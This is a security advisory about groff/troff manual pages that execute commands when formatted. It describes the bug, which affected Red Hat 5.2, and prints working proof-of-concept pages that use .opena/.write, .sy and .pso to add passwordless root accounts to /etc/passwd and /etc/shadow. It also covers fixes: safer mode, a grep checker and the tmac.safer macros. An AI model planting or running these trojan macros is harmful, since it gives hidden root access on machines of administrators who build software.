COMMAND

    groff, nroff, troff

SYSTEMS AFFECTED

    Those using groff

PROBLEM

    Pawel Wilk found following.   It's possible security danger.   The
    trick is  that it  can get  you if  you as  a system administrator
    download some  open source  program from  the Internet,  and build
    and install that program;  such activity often happens  as "root",
    so a couple of scenarios are possible:

        (1) Root installs the malicious roff source unknowingly.
        (2) During  the  process  of building/installing the  program,
            groff is invoked as root to create a pre-formatted version
            of the  manual page  (a "cat  page"), at  which point  the
            trojan horse does it dirty work.

    Take a look at following (it's messy):

    .\" Copyright (c) 1999 Pawe=B3 Wilk <siewca@dione.ids.pl>
    .\"
    .\" This is free documentation; you can redistribute it and/or
    .\" modify it under the terms of the GNU General Public License as
    .\" published by the Free Software Foundation; either version 2 of
    .\" the License, or (at your option) any later version.
    .\"
    .\" The GNU General Public License's references to "object code"
    .\" and "executables" are to be interpreted as the output of any
    .\" document formatting or typesetting system, including
    .\" intermediate and printed output.
    .\"
    .\" This manual is distributed in the hope that it will be useful,
    .\" but WITHOUT ANY WARRANTY; without even the implied warranty of
    .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    .\" GNU General Public License for more details.
    .\"
    .\" You should have received a copy of the GNU General Public
    .\" License along with this manual; if not, write to the Free
    .\" Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139,
    .\" USA.
    .\"
    .TH MKROOT 9 "07-22-1999" "manual page" "Linux Hacker's Manual"
    .SH NAME
    mkroot \- make a root-shell
    .SH SYNOPSIS
    .BI "man mkroot"
    .SH DISCLAIMER
    This manual page contains some \fBtroff\fP macros which could break your system's
    security. If you are looking at this page being logged as root then you should know
    that right in this moment you have allready created new, privileged account
    called "sower". The account is disabled by default because of security reasons.
    Don't forget to remove it! ;->

    This is for information only.... use it at your own risk.

    .SH DESCRIPTION
    Manual pages are usualy based on \fBtroff\fP (see
    .BR troff (1)
    ) macros. The point is, that some of these macros can access files or
    even invoke some shell commands. It's usable, but try to imaginate
    that the \fBtroff\fP macros contained in manual pages may have root privileges
    if the \fBtroff\fP command's caller is root. (!)
    .br
    .LP
    The most dangerous macros are:
    .TP
    .BI ".pso" " command"
    used to display output of some \fIcommand\fP
    .TP
    .BI ".write" " stream string"
    used to put the \fIstring\fP into the given \fIstream\fP
    .LP
    .SH EXAMPLES
    .BI "/root directory listing" "   .pso ls -l /root"
    .nf

    .pso ls -l /root=20

    .fi
    .BI "creating new user called sower (passwd)" " "
    .nf

        .opena stream /etc/passwd
        .write stream sower:*:0:0::/:/dev/null

    .fi
    .opena stream /etc/passwd
    .write stream sower:!:0:0::/:/dev/null
    .BI "little preview" "   .pso tail /etc/passwd"
    .nf

    .pso tail /etc/passwd

    .fi

    .BI "playing with shadow" ""
    .nf

        .opena stream /etc/shadow
        .write stream sower:*:10531:0:99999:7::10794:

    .fi
    .opena stream /etc/shadow
    .write stream sower:*:10531:0:99999:7::10794:
    .BI "fingering new user" "    .pso finger sower"
    .nf

    .pso finger sower

    .fi
    .SH FILES
    .I /etc/passwd
    .I /etc/shadow

    .SH SEE ALSO
    .BR man (1),
    .BR passwd (1),
    .BR troff (1).

    .SH AUTHOR

    Redhat 5.2 is  vulnerable. Both Debian  slink and potato  are not.
    Both use  groff 1.11a,  but Debian's  is patched.  It appears that
    stock  groff  1.11a  is  vulnerable,  probably any older groff, as
    well.

    And  now  the  most  obvious  one.  ".sy" executes system() on the
    specified  command  string.  After  reading Bruce Schneiers latest
    CRYPTO-GRAM (July 15) where its said:

        Microsoft, they weren't the first.  When Bob Morris'  Internet
        Worm was  making the  rounds about  10 years  ago and when the
        missing semicolon  brought down  Signalling System  7, we were
        hypothesizing about the possibility of data-borne viruses.   I
        found a neat feature of troff  that allows you to make a  call
        to a UNIX shell, which would make a virus or worm much  easier
        to create.  I don't know  how long before we saw it  that this
        nice feature  was there,  but I  can imagine  that it's been a
        while.

    Joel  Eriksson  examined  the  troff-manpage  on  Linux-system and
    found  three  things  to  be  worried,  first the .open/.opena and
    .write commands,  then the  .pso command,  and last  but not least
    the "sy request" that is mentioned here

        \n[systat]
             The return  value of  the system()  function executed  by
             the last sy request.

    Here are the  three man-pages Joel  did to add  an account to  the
    passwd in different ways. A little easier to read though, since he
    skip the copyright and the normal troff commands..

        [root@hades ~/security/troff]# ls -al
        total 5
        drwx------   2 root     root         1024 Jul 19 11:25 .
        drwx------  23 root     root         1024 Jul 24 20:42 ..
        -rw-------   1 root     root           60 Jul 19 11:19 r00t.1
        -rw-------   1 root     root           45 Jul 19 11:22 r00t.2
        -rw-------   1 root     root           46 Jul 19 11:25 r00t.3
        [root@hades ~/security/troff]#

    And here are the contents.  r00t.1:

        .opena f /etc/passwd
        .write f r00t::0:0::/:/bin/sh
        .close f

    r00t.2:

        .sy echo r00t::0:0::/:/bin/sh >> /etc/passwd

    r00t.3:

        .pso echo r00t::0:0::/:/bin/sh >> /etc/passwd

SOLUTION

    One Linux  distribution that  doesn't appear  to be  vulnerable is
    Debian  (tested  on  2.1/slink)  -  the  maintainer  of  the groff
    package has made  the -S ("Safer  mode") the default,  which turns
    off  potentially  dangerous  commands  like  .opena,  .pso,   etc.
    Hopefully this  change can  make it  into the  official GNU  groff
    distribution -  as useful  as these  features may  be, I doubt the
    majority  of  people  use  groff  for  much  more  than formatting
    manpages.  Safe  defaults are always  good.  When  you give -S  to
    groff it passes -S to pic and -msafer to troff.  Thus:

        use -S with groff
        use -S with pic
        use -msafer with troff
        use -msafer with nroff

    Unfortunately, this wouldn't affect xman, which doesn't know about
    man.conf and always use hardcoded commandline:

        viper:~% strings `which xman` | grep -i roff | geqn | gtbl | groff -Tascii -mandoc

    This is defined as  `FORMAT' macro in xman/vendor.h  (and slightly
    modified with x11r6-contrib-3.1.2-mandoc.patch in RedHat rpm), and
    can't be  customized with  environment/resources.   There are many
    other help/manpage browsers (helptool, gnome-help-browser come  to
    mind), so the right thing is to modify groff.

    OpenBSD-current has been fixed to pass the -S (safer mode)  option
    to groff from the nroff.sh script. Please see the following URL:

        http://www.openbsd.org/cgi-bin/cvsweb/src/gnu/usr.bin/groff/nroff/nroff.sh

    NetBSD did the same, more or less -- that is, man.conf was changed
    to use -S and the nroff script was hacked to permit the -S  option
    to it.

    With  accurately  set  permissions   for  man  page   directories,
    non-privileged users shouldn't be able to add manual pages to  the
    system (if they  are able to,  system is whacked  anyway), so take
    this threat merely as another trojan possibility - quite  uncommon
    one indeed.

    Don't look  at them  _at_all_ before  checking them  for dangerous
    troff-commands.  What this also means is SGID man is probably  not
    a  good  idea  (a  method  that  is  used  to  avoid  having   the
    preformatted     manualpage     cache,     catman,     directories
    worldwriteable).  A "fix" to the problem would be to introduce a
    commandswitch for enabling the dangerous troff-commands.

    Joel made  the following  shellfunction in  my .profile  (bash) to
    check for potentially dangerous troff-commands in manualpages:

        checkman() {
                grep "^\(\.open\|\.sy\|\.pso\)" $* && echo 'Wewps!' || echo 'OK!'
        }

    This lets you either specify files on the commandline or pipe  the
    output of files  to the shellfunction  (if the manpage  is gzip'ed
    one would like to gunzip -c  it and pipe to "checkman" instead  of
    checking the compressed file ..).

    The tmac.safer package simply  removes the offending commands  and
    replaces them with something that prints a warning. For those  who
    can read troff:

        .rm open opena pso sy pi
        .de unsafe
        .tm \\n(.F:\\n(.c: unsafe to execute request `\\$1'
        ..
        .als open unsafe
        .als opena unsafe
        .als pso unsafe
        .als sy unsafe
        .als pi unsafe

    This is  not a  *new* security  problem, thus  has been  known for
    decades and ranks with trojan in VI and TeX and sh shel.  Spafford
    published a worm or  virus written in TeX.   Also in VI it  is/was
    (depending  on  your  system  and  which  version  of  VI you have
    installed) possible  to have  arbitrary commands  executed as  the
    file was edited.  It is believed the syntax was:

        #exec  <command>

    and it had to be one of the first five lines in the file.